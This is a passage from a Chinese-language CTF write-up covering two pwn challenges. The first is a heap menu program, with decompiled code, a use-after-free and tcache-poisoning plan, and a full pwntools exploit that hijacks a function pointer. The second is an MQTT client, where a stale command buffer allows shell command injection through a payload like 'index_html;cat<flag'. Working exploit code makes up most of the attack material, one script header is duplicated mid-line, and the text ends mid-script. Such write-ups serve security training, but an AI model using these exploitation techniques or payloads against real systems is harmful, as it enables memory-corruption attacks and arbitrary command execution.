*)session-\u0026gt;payload, 65, tensor_bytes); snprintf(session-\u0026gt;alias, 32, \u0026#34;%s\u0026#34;, (const char *)alias); v16 = (char *)state + 8 * slot; v17 = *((_QWORD *)v16 + 29); *((_QWORD *)v16 + 13) = session; *((_QWORD *)v16 + 29) = ++v17; session-\u0026gt;generation = v17; session-\u0026gt;postproc = (void (*)(session_handle *))session_postproc_xor_stride; state-\u0026gt;session_active[slot] = 1; std::cout \u0026lt;\u0026lt; \u0026#34;session tensor ready slot=\u0026#34; \u0026lt;\u0026lt; slot \u0026lt;\u0026lt; \u0026#34; handle=\u0026#34; \u0026lt;\u0026lt; \u0026amp;session \u0026lt;\u0026lt; \u0026#34; payload=\u0026#34; \u0026lt;\u0026lt; \u0026amp;session-\u0026gt;payload \u0026lt;\u0026lt; \u0026#34; postproc=\u0026#34; \u0026lt;\u0026lt; \u0026amp;session-\u0026gt;postproc \u0026lt;\u0026lt; std::endl; } else { std::cout \u0026lt;\u0026lt; \u0026#34;session tensor allocation failed\u0026#34; \u0026lt;\u0026lt; std::endl; } } else std::cout \u0026lt;\u0026lt; \u0026#34;session tensor request invalid\u0026#34; \u0026lt;\u0026lt; std::endl; return 0; } // 6 unsigned __int64 complete_batch_inference(runtime_state *state) { __int64 slot; std::cout \u0026lt;\u0026lt; \u0026#34;ssession.slot\u0026gt; \u0026#34;; std::cin \u0026gt;\u0026gt; slot; if ( (unsigned int)slot \u0026gt; 0xF ) { std::cout \u0026lt;\u0026lt; \u0026#34;session slot invalid\u0026#34; \u0026lt;\u0026lt; std::endl; return 0; } if ( !state-\u0026gt;session_active[slot] ) { std::cout \u0026lt;\u0026lt; \u0026#34;session slot not active\u0026#34; \u0026lt;\u0026lt; std::endl; return 0; } if ( !state-\u0026gt;sessions[slot] ) { std::cout \u0026lt;\u0026lt; \u0026#34;session slot empty\u0026#34; \u0026lt;\u0026lt; std::endl; return 0; } if ( state-\u0026gt;sessions[slot]-\u0026gt;payload ) { if ( state-\u0026gt;sessions[slot]-\u0026gt;payload_size \u0026gt;= 2 ) for ( int i = 1; i \u0026lt;= state-\u0026gt;sessions[slot]-\u0026gt;payload_size; i++) state-\u0026gt;sessions[slot]-\u0026gt;payload[i] ^= (13 * i); free(state-\u0026gt;sessions[slot]-\u0026gt;payload); } if ( (void (*)())state-\u0026gt;sessions[slot]-\u0026gt;postproc != session_postproc_clamp_negative_bytes \u0026amp;\u0026amp; (void (*)())state-\u0026gt;sessions[slot]-\u0026gt;postproc != session_postproc_xor_stride \u0026amp;\u0026amp; (void (*)())state-\u0026gt;sessions[slot]-\u0026gt;postproc != session_postproc_shift_right \u0026amp;\u0026amp; state-\u0026gt;sessions[slot]-\u0026gt;postproc ) { std::cout \u0026lt;\u0026lt; \u0026#34;postproc profile invalid, fallback to default pipeline\u0026#34; \u0026lt;\u0026lt; std::endl; state-\u0026gt;sessions[slot]-\u0026gt;postproc = (void (*)(session_handle *))session_postproc_xor_stride; } if ( state-\u0026gt;sessions[slot]-\u0026gt;postproc ) state-\u0026gt;sessions[slot]-\u0026gt;postproc(state-\u0026gt;sessions[slot]); operator delete(state-\u0026gt;sessions[slot], 0x50u); state-\u0026gt;session_active[slot] = 0; std::cout \u0026lt;\u0026lt; \u0026#34;batch inference finalized, session recycled\u0026#34; \u0026lt;\u0026lt; std::endl; return 0; } // 7 unsigned __int64 patch_session_metadata(runtime_state *state) { int slot, qword_index, qword_value; std::cout \u0026lt;\u0026lt; \u0026#34;diag.session.slot\u0026gt; \u0026#34;; std::cin \u0026gt;\u0026gt; slot; std::cout \u0026lt;\u0026lt; \u0026#34;diag.qword_index\u0026gt; \u0026#34;; std::cin \u0026gt;\u0026gt; qword_index; std::cout \u0026lt;\u0026lt; \u0026#34;diag.qword_value(u64)\u0026gt; \u0026#34;; std::cin \u0026gt;\u0026gt; qword_value; if ( slot \u0026lt;= 0xFu ) { if ( !state-\u0026gt;sessions[slot] ) { std::cout \u0026lt;\u0026lt; \u0026#34;session handle missing\u0026#34; \u0026lt;\u0026lt; std::endl; return 0; } if ( state-\u0026gt;session_active[slot] ) std::cout \u0026lt;\u0026lt; \u0026#34;diagnostic patch requires recycled session context\u0026#34; \u0026lt;\u0026lt; std::endl; else { if ( !qword_index ) { state-\u0026gt;sessions[slot]-\u0026gt;slot_id = qword_value; // tcache poisoning std::cout \u0026lt;\u0026lt; \u0026#34;diagnostic patch applied at \u0026#34; \u0026lt;\u0026lt; \u0026amp;state-\u0026gt;sessions[slot] \u0026lt;\u0026lt; std::endl; return 0; } std::cout \u0026lt;\u0026lt; \u0026#34;diagnostic offset policy allows qword_index=0 only\u0026#34; \u0026lt;\u0026lt; std::endl; } } else std::cout \u0026lt;\u0026lt; \u0026#34;diagnostic patch args invalid\u0026#34; \u0026lt;\u0026lt; std::endl; return 0; } // 8 unsigned __int64 provision_worker_profile(runtime_state *state) { if ( (char *)state-\u0026gt;worker_profiles_end - (char *)state-\u0026gt;worker_profiles_begin \u0026lt;= 0x1f8 ) { worker_profile *worker = (worker_profile *)malloc(0x50u); std::cout \u0026lt;\u0026lt; \u0026#34;worker.cpu_quota\u0026gt; \u0026#34;; std::cin \u0026gt;\u0026gt; worker-\u0026gt;cpu_quota; std::cout \u0026lt;\u0026lt; \u0026#34;worker.mem_quota\u0026gt; \u0026#34;; std::cin \u0026gt;\u0026gt; worker-\u0026gt;mem_quota; std::cout \u0026lt;\u0026lt; \u0026#34;worker.io_weight\u0026gt; \u0026#34;; std::cin \u0026gt;\u0026gt; worker-\u0026gt;io_weight; std::cout \u0026lt;\u0026lt; \u0026#34;worker.latency_slo\u0026gt; \u0026#34;; std::cin \u0026gt;\u0026gt; worker-\u0026gt;latency_slo; std::cout \u0026lt;\u0026lt; \u0026#34;worker.replicas\u0026gt; \u0026#34;; std::cin \u0026gt;\u0026gt; worker-\u0026gt;replicas; std::cout \u0026lt;\u0026lt; \u0026#34;worker.region_code\u0026gt; \u0026#34;; std::cin \u0026gt;\u0026gt; worker-\u0026gt;region_code; std::cout \u0026lt;\u0026lt; \u0026#34;worker.memo\u0026gt; \u0026#34;; std::cin \u0026gt;\u0026gt; worker-\u0026gt;memo; snprintf(worker-\u0026gt;memo, 0x20u, \u0026#34;%s\u0026#34;, worker-\u0026gt;memo); if ( state-\u0026gt;worker_profiles_end == state-\u0026gt;worker_profiles_cap ) { worker_vector_realloc_insert(state-\u0026gt;worker_profiles_begin, state-\u0026gt;worker_profiles_end, worker); } else { *state-\u0026gt;worker_profiles_end = (worker_profile *)worker; state-\u0026gt;worker_profiles_end = state-\u0026gt;worker_profiles_end + 1; } std::cout \u0026lt;\u0026lt; \u0026#34;worker profile provisioned handle=\u0026#34; \u0026lt;\u0026lt; \u0026amp;worker \u0026lt;\u0026lt; \u0026#34; index=\u0026#34; \u0026lt;\u0026lt; state-\u0026gt;worker_profiles_end - state-\u0026gt;worker_profiles_begin - 1 \u0026lt;\u0026lt; std::endl; return 0; } std::cout \u0026lt;\u0026lt; \u0026#34;autoscaler capacity reached\u0026#34; \u0026lt;\u0026lt; std::endl; return 0; } // 9 unsigned __int64 dispatch_async_task(runtime_state *state) { int task_id; if ( state-\u0026gt;scheduler ) { std::cout \u0026lt;\u0026lt; \u0026#34;queue.task_id\u0026gt; \u0026#34;; std::cin \u0026gt;\u0026gt; task_id; if ( (unsigned int)task_id \u0026lt;= 7 ) { if ( state-\u0026gt;task_desc[task_id] \u0026amp;\u0026amp; state-\u0026gt;task_desc[task_id]-\u0026gt;handler) { if ( state-\u0026gt;task_desc[task_id]-\u0026gt;handler == task_handler_xor_cookie || state-\u0026gt;task_desc[task_id]-\u0026gt;handler == task_handler_echo_descriptor || state-\u0026gt;scheduler-\u0026gt;strict_policy == 0 || state-\u0026gt;task_desc[task_id]-\u0026gt;handler == task_handler_mul3 ) { ((void (*)(void *))state-\u0026gt;task_desc[task_id]-\u0026gt;handler)(state-\u0026gt;task_desc[task_id]-\u0026gt;ctx); return 0; } std::cout \u0026lt;\u0026lt; \u0026#34;policy engine blocked non-whitelisted handler\u0026#34; \u0026lt;\u0026lt; std::endl; } else { std::cout \u0026lt;\u0026lt; \u0026#34;task descriptor unavailable\u0026#34; \u0026lt;\u0026lt; std::endl; } } else { std::cout \u0026lt;\u0026lt; \u0026#34;task id invalid\u0026#34; \u0026lt;\u0026lt; std::endl; } return 0; } std::cout \u0026lt;\u0026lt; \u0026#34;scheduler offline\u0026#34; \u0026lt;\u0026lt; std::endl; return 0; } 好复杂的菜单题，，，\n攻击思路 bootstrap_scheduler 用于初始化堆结构\ninspect_scheduler_queue 把需要 leak 的数据送到嘴边\ncomplete_batch_inference 函数有明显的 UAF 漏洞，对象为 state-\u0026gt;sessions[slot]\npatch_session_metadata 为 UAF 和 tcache poisoning 创造了极为有利的条件，可以说是刻意设计的\nprovision_worker_profile 允许通过结构体重叠写入较多的数据\ndispatch_async_task 有函数指针的执行，注意到程序中已经有针对 flag 的读取行为，所以可以利用 provision_worker_profile 劫持该函数指针去跳转\n劫持函数指针之前需要将 strict_policy 设置为 0 ，而 provision_worker_profile 也可以做到这一点\n综上分析，直接打 tcache poisoning 即可\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.os = \u0026#39;linux\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 1 file = \u0026#39;./pwn_patched\u0026#39; elf = ELF(file) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) libcoffsetdict = dict() libcrealdict = dict() def libcdict_add(name, addr): if addr \u0026gt; 0x1000000: libcrealdict[name] = addr addr %= 0x1000 libcoffsetdict[name] = addr def getlibc(): global libc if not debug: libc = ELF(libcdb.search_by_symbol_offsets(libcoffsetdict)) def initlibc(): if not debug: subprocess.run([\u0026#39;cp\u0026#39;, libc.path, \u0026#39;./libc.so.6\u0026#39;]) subprocess.run([\u0026#39;pwninit\u0026#39;, \u0026#39;--no-template\u0026#39;]) target = \u0026#39;60.205.163.215\u0026#39;from pwn import * context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.os = \u0026#39;linux\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 1 file = \u0026#39;./inference_forge_patched\u0026#39; elf = ELF(file) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) target = \u0026#39;60.205.163.215\u0026#39; port = 13774 if debug: p = process(file) else: p = remote(target, port) io = p def dbg(cmd = \u0026#39;\u0026#39;): if debug: gdb.attach(p, gdbscript = cmd) s = lambda data :p.send(data) sl = lambda data :p.sendline(data) sa = lambda x, data :p.sendafter(x, data) sla = lambda x, data :p.sendlineafter(x, data) r = lambda num=4096 :p.recv(num) rl = lambda num=4096 :p.recvline(num) ru = lambda x :p.recvuntil(x) itr = lambda :p.interactive() uu32 = lambda data :u32(data.ljust(4, b\u0026#39;\\x00\u0026#39;)) uu64 = lambda data :u64(data.ljust(8, b\u0026#39;\\x00\u0026#39;)) uru64 = lambda :uu64(ru(\u0026#39;\\x7f\u0026#39;)[-6:]) leak = lambda name :log.success(name + \u0026#39; = \u0026#39; + hex(eval(name))) def safe_linking(pos, val): return (pos \u0026gt;\u0026gt; 12) ^ val def bootstrap_scheduler(): sla(b\u0026#39;gateway\u0026gt; \u0026#39;, b\u0026#39;3\u0026#39;) def inspect_scheduler_queue(): sla(b\u0026#39;gateway\u0026gt; \u0026#39;, b\u0026#39;4\u0026#39;) def allocate_session_tensor(slot, tensor_bytes, alias): sla(b\u0026#39;gateway\u0026gt; \u0026#39;, b\u0026#39;5\u0026#39;) sla(b\u0026#39;session.slot(0-15)\u0026gt; \u0026#39;, str(slot).encode()) sla(b\u0026#39;session.tensor_bytes\u0026gt; \u0026#39;, str(tensor_bytes).encode()) sla(b\u0026#39;session.alias\u0026gt; \u0026#39;, alias) def complete_batch_inference(slot): sla(b\u0026#39;gateway\u0026gt; \u0026#39;, b\u0026#39;6\u0026#39;) sla(b\u0026#39;session.slot\u0026gt; \u0026#39;, str(slot).encode()) def patch_session_metadata(slot, qword_index, qword_value): sla(b\u0026#39;gateway\u0026gt; \u0026#39;, b\u0026#39;7\u0026#39;) sla(b\u0026#39;diag.session.slot\u0026gt; \u0026#39;, str(slot).encode()) sla(b\u0026#39;diag.qword_index\u0026gt; \u0026#39;, str(qword_index).encode()) sla(b\u0026#39;diag.qword_value(u64)\u0026gt; \u0026#39;, str(qword_value).encode()) def provision_worker_profile(cpu_quota, mem_quota, io_weight, latency_slo, replicas, region_code, memo): sla(b\u0026#39;gateway\u0026gt; \u0026#39;, b\u0026#39;8\u0026#39;) sla(b\u0026#39;worker.cpu_quota\u0026gt; \u0026#39;, str(cpu_quota).encode()) sla(b\u0026#39;worker.mem_quota\u0026gt; \u0026#39;, str(mem_quota).encode()) sla(b\u0026#39;worker.io_weight\u0026gt; \u0026#39;, str(io_weight).encode()) sla(b\u0026#39;worker.latency_slo\u0026gt; \u0026#39;, str(latency_slo).encode()) sla(b\u0026#39;worker.replicas\u0026gt; \u0026#39;, str(replicas).encode()) sla(b\u0026#39;worker.region_code\u0026gt; \u0026#39;, str(region_code).encode()) sla(b\u0026#39;worker.memo\u0026gt; \u0026#39;, memo) def dispatch_async_task(task_id): sla(b\u0026#39;gateway\u0026gt; \u0026#39;, b\u0026#39;9\u0026#39;) sla(b\u0026#39;queue.task_id\u0026gt; \u0026#39;, str(task_id).encode()) bootstrap_scheduler() # leak inspect_scheduler_queue() ru(b\u0026#39;[task:0] desc=\u0026#39;) heap_leak = int(r(14), 16) - 0x30560 leak(\u0026#39;heap_leak\u0026#39;) ru(b\u0026#39;handler=\u0026#39;) pie_leak = int(r(14), 16) - 0x30a0 leak(\u0026#39;pie_leak\u0026#39;) allocate_session_tensor(0, 3, p64(0)) # init allocate_session_tensor(1, 3, p64(0)) allocate_session_tensor(2, 3, p64(0)) allocate_session_tensor(3, 3, p64(0)) allocate_session_tensor(4, 3, p64(0)) complete_batch_inference(1) complete_batch_inference(2) complete_batch_inference(3) complete_batch_inference(4) complete_batch_inference(0) # tcache poisoning, hijack strict_policy patch_session_metadata(0, 0, safe_linking(heap_leak + 0x30860, heap_leak + 0xb0)) allocate_session_tensor(0, 3, p64(0)) provision_worker_profile(heap_leak + 0x30510, 0, 0, 0, 0, 0, p64(0)) provision_worker_profile(0, 0, 0, 0, 0, 0, p64(0)) inspect_scheduler_queue() complete_batch_inference(0) # tcache poisoning, hijack handler patch_session_metadata(0, 0, safe_linking(heap_leak + 0x30860, heap_leak + 0xb0)) allocate_session_tensor(0, 3, p64(0)) provision_worker_profile(heap_leak + 0x30560, 0, 0, 0, 0, 0, p64(0)) provision_worker_profile(0, 0, 0, pie_leak + 0x6750, 0, 0, p64(0)) inspect_scheduler_queue() dispatch_async_task(0) itr() mini-mqtt 第一次写 mqtt 的题目\nIDA main 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 int __fastcall main(int argc, const char **argv, const char **envp) { const char *mqtt_ip; // rax const char *v5; // [rsp+18h] [rbp-8h] if ( argc \u0026lt;= 1 ) mqtt_ip = \u0026#34;tcp://localhost:9999\u0026#34;; else mqtt_ip = argv[1]; v5 = mqtt_ip; printf(\u0026#34;Using server at %s\\n\u0026#34;, mqtt_ip); rc = MQTTClient_create(\u0026amp;client, v5, \u0026#34;httpclient\u0026#34;, 1, 0); if ( rc ) { printf(\u0026#34;Failed to create client, return code %d\\n\u0026#34;, rc); rc = 1; } else { rc = MQTTClient_setCallbacks(client, 0, connlost, msgarrvd, delivered); if ( rc ) { printf(\u0026#34;Failed to set callbacks, return code %d\\n\u0026#34;, rc); rc = 1; } else { dword_5028 = 20; dword_502C = 1; rc = MQTTClient_connect(client, conn_opts); if ( !rc ) { MQTTClient_subscribe(client, \u0026#34;HTTP\u0026#34;, 1); while ( 1 ) { sleep(1u); msgsend(\u0026#34;200\u0026#34;); puts(\u0026#34;waiting for message\\n\u0026#34;); } } printf(\u0026#34;Failed to connect, return code %d\\n\u0026#34;, rc); rc = 1; } MQTTClient_destroy(\u0026amp;client); } return rc; } 这是一个客户端程序，服务端呢？自己搭。\n该客户端订阅了 \u0026ldquo;HTTP\u0026rdquo; topic\n核心在 rc = MQTTClient_setCallbacks(client, 0, connlost, msgarrvd, delivered);\n其中 msgarrvd 函数是客户端收到 topic 后的响应\nmsgarrvd 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 __int64 __fastcall msgarrvd(__int64 a1, const char *a2, int a3, __int64 a4) { __int64 v5; // [rsp+0h] [rbp-80h] BYREF int v6; // [rsp+Ch] [rbp-74h] const char *v7; // [rsp+10h] [rbp-70h] __int64 v8; // [rsp+18h] [rbp-68h] __int64 v9; // [rsp+28h] [rbp-58h] char s1[72]; // [rsp+30h] [rbp-50h] BYREF unsigned __int64 v11; // [rsp+78h] [rbp-8h] v8 = a1; v7 = a2; v6 = a3; v5 = a4; v11 = __readfsqword(0x28u); v9 = *(_QWORD *)(a4 + 16); if ( (unsigned int)__isoc99_sscanf(v9, \u0026#34;{\\\u0026#34;clientid\\\u0026#34;:\\\u0026#34;%63[^\\\u0026#34;]\\\u0026#34;,\u0026#34;, s1) == 1 \u0026amp;\u0026amp; !strcmp(s1, \u0026#34;httpclient\u0026#34;) )// {\u0026#34;clientid\u0026#34;:\u0026#34;hacker\u0026#34;} { MQTTClient_freeMessage(\u0026amp;v5); MQTTClient_free(v7); return 1; } else { http(v9); puts(\u0026#34;Message arrived\u0026#34;); printf(\u0026#34; topic: %s\\n\u0026#34;, v7); printf(\u0026#34; message: %.*s\\n\u0026#34;, *(_DWORD *)(v5 + 8), *(const char **)(v5 + 16)); MQTTClient_freeMessage(\u0026amp;v5); MQTTClient_free(v7); return 1; } } 由此可见，这道题目需要我们去构造恶意 topic 信息，让客户端在解析信息的过程中回弹 flag 的内容\n这里还要求 clientid 不为 httpclient ，因为这是他自身的 id\n然后就套了一层 http 的解析\nhttp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 __int64 __fastcall http(const char *a1) { size_t v2; // rax size_t v3; // rbx int v4; // [rsp+10h] [rbp-280h] BYREF int v5; // [rsp+14h] [rbp-27Ch] int i; // [rsp+18h] [rbp-278h] int v7; // [rsp+1Ch] [rbp-274h] FILE *stream; // [rsp+20h] [rbp-270h] char *v9; // [rsp+28h] [rbp-268h] char s1[8]; // [rsp+30h] [rbp-260h] BYREF __int64 v11; // [rsp+38h] [rbp-258h] __int64 v12; // [rsp+40h] [rbp-250h] __int64 v13; // [rsp+48h] [rbp-248h] __int64 v14; // [rsp+50h] [rbp-240h] __int64 v15; // [rsp+58h] [rbp-238h] __int64 v16; // [rsp+60h] [rbp-230h] __int64 v17; // [rsp+68h] [rbp-228h] char s[8]; // [rsp+70h] [rbp-220h] BYREF __int64 v19; // [rsp+78h] [rbp-218h] __int64 v20; // [rsp+80h] [rbp-210h] __int64 v21; // [rsp+88h] [rbp-208h] __int64 v22; // [rsp+90h] [rbp-200h] __int64 v23; // [rsp+98h] [rbp-1F8h] __int64 v24; // [rsp+A0h] [rbp-1F0h] __int64 v25; // [rsp+A8h] [rbp-1E8h] __int64 v26; // [rsp+B0h] [rbp-1E0h] __int64 v27; // [rsp+B8h] [rbp-1D8h] __int64 v28; // [rsp+C0h] [rbp-1D0h] __int64 v29; // [rsp+C8h] [rbp-1C8h] __int64 v30; // [rsp+D0h] [rbp-1C0h] __int64 v31; // [rsp+D8h] [rbp-1B8h] __int64 v32; // [rsp+E0h] [rbp-1B0h] __int64 v33; // [rsp+E8h] [rbp-1A8h] char src[8]; // [rsp+F0h] [rbp-1A0h] BYREF __int64 v35; // [rsp+F8h] [rbp-198h] __int64 v36; // [rsp+100h] [rbp-190h] __int64 v37; // [rsp+108h] [rbp-188h] __int64 v38; // [rsp+110h] [rbp-180h] __int64 v39; // [rsp+118h] [rbp-178h] __int64 v40; // [rsp+120h] [rbp-170h] __int64 v41; // [rsp+128h] [rbp-168h] __int64 v42; // [rsp+130h] [rbp-160h] __int64 v43; // [rsp+138h] [rbp-158h] __int64 v44; // [rsp+140h] [rbp-150h] __int64 v45; // [rsp+148h] [rbp-148h] __int64 v46; // [rsp+150h] [rbp-140h] __int64 v47; // [rsp+158h] [rbp-138h] __int64 v48; // [rsp+160h] [rbp-130h] __int64 v49; // [rsp+168h] [rbp-128h] char v50[8]; // [rsp+170h] [rbp-120h] BYREF __int64 v51; // [rsp+178h] [rbp-118h] __int64 v52; // [rsp+180h] [rbp-110h] __int64 v53; // [rsp+188h] [rbp-108h] __int64 v54; // [rsp+190h] [rbp-100h] __int64 v55; // [rsp+198h] [rbp-F8h] __int64 v56; // [rsp+1A0h] [rbp-F0h] __int64 v57; // [rsp+1A8h] [rbp-E8h] __int64 v58; // [rsp+1B0h] [rbp-E0h] __int64 v59; // [rsp+1B8h] [rbp-D8h] __int64 v60; // [rsp+1C0h] [rbp-D0h] __int64 v61; // [rsp+1C8h] [rbp-C8h] __int64 v62; // [rsp+1D0h] [rbp-C0h] __int64 v63; // [rsp+1D8h] [rbp-B8h] __int64 v64; // [rsp+1E0h] [rbp-B0h] __int64 v65; // [rsp+1E8h] [rbp-A8h] __int64 v66; // [rsp+1F0h] [rbp-A0h] __int64 v67; // [rsp+1F8h] [rbp-98h] __int64 v68; // [rsp+200h] [rbp-90h] __int64 v69; // [rsp+208h] [rbp-88h] __int64 v70; // [rsp+210h] [rbp-80h] __int64 v71; // [rsp+218h] [rbp-78h] __int64 v72; // [rsp+220h] [rbp-70h] __int64 v73; // [rsp+228h] [rbp-68h] __int64 v74; // [rsp+230h] [rbp-60h] __int64 v75; // [rsp+238h] [rbp-58h] __int64 v76; // [rsp+240h] [rbp-50h] __int64 v77; // [rsp+248h] [rbp-48h] __int64 v78; // [rsp+250h] [rbp-40h] __int64 v79; // [rsp+258h] [rbp-38h] __int64 v80; // [rsp+260h] [rbp-30h] __int64 v81; // [rsp+268h] [rbp-28h] unsigned __int64 v82; // [rsp+278h] [rbp-18h] v82 = __readfsqword(0x28u); *(_QWORD *)s1 = 0; v11 = 0; v12 = 0; v13 = 0; v14 = 0; v15 = 0; v16 = 0; v17 = 0; *(_QWORD *)s = 0; v19 = 0; v20 = 0; v21 = 0; v22 = 0; v23 = 0; v24 = 0; v25 = 0; *(_QWORD *)src = 0; v35 = 0; v36 = 0; v37 = 0; v38 = 0; v39 = 0; v40 = 0; v41 = 0; v42 = 0; v43 = 0; v44 = 0; v45 = 0; v46 = 0; v47 = 0; v48 = 0; v49 = 0; v26 = 0; v27 = 0; v28 = 0; v29 = 0; v30 = 0; v31 = 0; v32 = 0; v33 = 0; v5 = 0; v7 = 0; stream = 0; *(_QWORD *)v50 = 0; v51 = 0; v52 = 0; v53 = 0; v54 = 0; v55 = 0; v56 = 0; v57 = 0; v58 = 0; v59 = 0; v60 = 0; v61 = 0; v62 = 0; v63 = 0; v64 = 0; v65 = 0; v66 = 0; v67 = 0; v68 = 0; v69 = 0; v70 = 0; v71 = 0; v72 = 0; v73 = 0; v74 = 0; v75 = 0; v76 = 0; v77 = 0; v78 = 0; v79 = 0; v80 = 0; v81 = 0; v4 = 0; if ( (unsigned int)__isoc99_sscanf(a1, \u0026#34;{\\\u0026#34;clientid\\\u0026#34;:\\\u0026#34;%63[^\\\u0026#34;]\\\u0026#34;\u0026#34;, s1) == 1 \u0026amp;\u0026amp; !strcmp(s1, \u0026#34;httpclient\u0026#34;) )// no httpclient return 1; if ( (unsigned int)__isoc99_sscanf(a1, \u0026#34;GET /home/ctf/%63[^ \\\u0026#34;\\r\\n/]\u0026#34;, s) == 1 ) { v5 = 1; } else if ( (unsigned int)__isoc99_sscanf(a1, \u0026#34;GET %*[^/]/ctf/%63[^ \\\u0026#34;\\r\\n/]\u0026#34;, s) == 1 ) { v5 = 1; } else if ( (unsigned int)__isoc99_sscanf(a1, \u0026#34;GET %*s/ctf/\\\u0026#34;%63[^\\\u0026#34;]\\\u0026#34;\u0026#34;, s) == 1 ) { v5 = 1; } else if ( strstr(a1, \u0026#34;/ctf/\u0026#34;) ) { v9 = strstr(a1, \u0026#34;/ctf/\u0026#34;) + 5; __isoc99_sscanf(v9, \u0026#34;%63[^ \\\u0026#34;\\r\\n/]\u0026#34;, s); v5 = 1; } if ( v5 ) { if ( (unsigned int)__isoc99_sscanf(a1, \u0026#34;GET %*s HTTP/1.1\\r\\nHost: %*s\\r\\nContentLength: %d\\r\\n\u0026#34;, \u0026amp;v4) == 1 ) { printf(\u0026#34;find length: %d\\n\u0026#34;, v4); v2 = strlen(s); if ( v2 \u0026gt; v4 ) { puts(\u0026#34;file name length exceeds contentlength\u0026#34;); return 0; } if ( v4 \u0026gt; 10 ) { puts(\u0026#34;contentlength too long\u0026#34;); return 0; } } else { puts(\u0026#34;ContentLength not found\u0026#34;); v5 = 0; } for ( i = 0; ; ++i ) { v3 = i; if ( v3 \u0026gt;= strlen(s) ) break; if ( s[i] == \u0026#39;/\u0026#39; || s[i] == \u0026#39;.\u0026#39; ) s[i] = \u0026#39;_\u0026#39;; } snprintf(src, 0x80u, \u0026#34;cat /home/ctf/%s\u0026#34;, s); v7 = strlen(src); memcpy(cmd, src, v7); if ( !strcmp(s, \u0026#34;index_html\u0026#34;) ) // is index_html { if ( v5 ) stream = popen(cmd, \u0026#34;r\u0026#34;); if ( stream ) { while ( fgets(v50, 255, stream) ) { v50[strcspn(v50, \u0026#34;\\n\u0026#34;)] = 0; if ( v50[0] ) { msgsend(v50); memset(v50, 0, 0x100u); } } pclose(stream); } else { msgsend(\u0026#34;403\u0026#34;); } return 1; } else { puts(\u0026#34;fault2\u0026#34;); return 0; } } else { puts(\u0026#34;fault\u0026#34;); puts(\u0026#34;404\u0026#34;); return 0; } } 协议的格式就是正常 http 协议的格式\n注意这一段：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 for ( i = 0; ; ++i ) { v3 = i; if ( v3 \u0026gt;= strlen(s) ) break; if ( s[i] == \u0026#39;/\u0026#39; || s[i] == \u0026#39;.\u0026#39; ) s[i] = \u0026#39;_\u0026#39;; } snprintf(src, 0x80u, \u0026#34;cat /home/ctf/%s\u0026#34;, s); v7 = strlen(src); memcpy(cmd, src, v7); if ( !strcmp(s, \u0026#34;index_html\u0026#34;) ) // is index_html { if ( v5 ) stream = popen(cmd, \u0026#34;r\u0026#34;); src 中只能是 index_html 的格式，但发现校验的对象是 src ，而被执行的是 cmd ，且 cmd 在校验前已经赋值好，在校验失败后会残留，所以我们可以利用 shell 中 \u0026lsquo;;\u0026rsquo; 的作用完成漏洞的利用\n攻击思路 第一次发送 GET /home/ctf/index_html;cat\u0026lt;flag ， cmd 变为 cat /home/ctf/index_html;cat\u0026lt;flag ，校验不通过\n第二次发送 GET /home/ctf/index_html ， 前段被覆盖后 cmd 还是 cat /home/ctf/index_html;cat\u0026lt;flag ，且校验通过， popen 执行 cat /home/ctf/index_html;cat\u0026lt;flag ，成功获取到 flag\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from pwn import * import threading context.log_level = \u0026#39;debug\u0026#39; context.arch = \u0026#39;amd64\u0026#39; context.os = \u0026#39;linux\u0026#39; context.terminal = [\u0026#39;tmux\u0026#39;, \u0026#39;splitw\u0026#39;, \u0026#39;-h\u0026#39;] debug = 0 file = \u0026#39;./pwn\u0026#39; elf = ELF(file) libc = ELF(\u0026#39;./libc.so.6\u0026#39;) target = \u0026#39;nc1.ctfplus.cn\u0026#39; port = 41317 def encode_varint(n): res = b\u0026#34;\u0026#34; while n \u0026gt; 0: byte = n \u0026amp; 0x7f n \u0026gt;\u0026gt;= 7 if 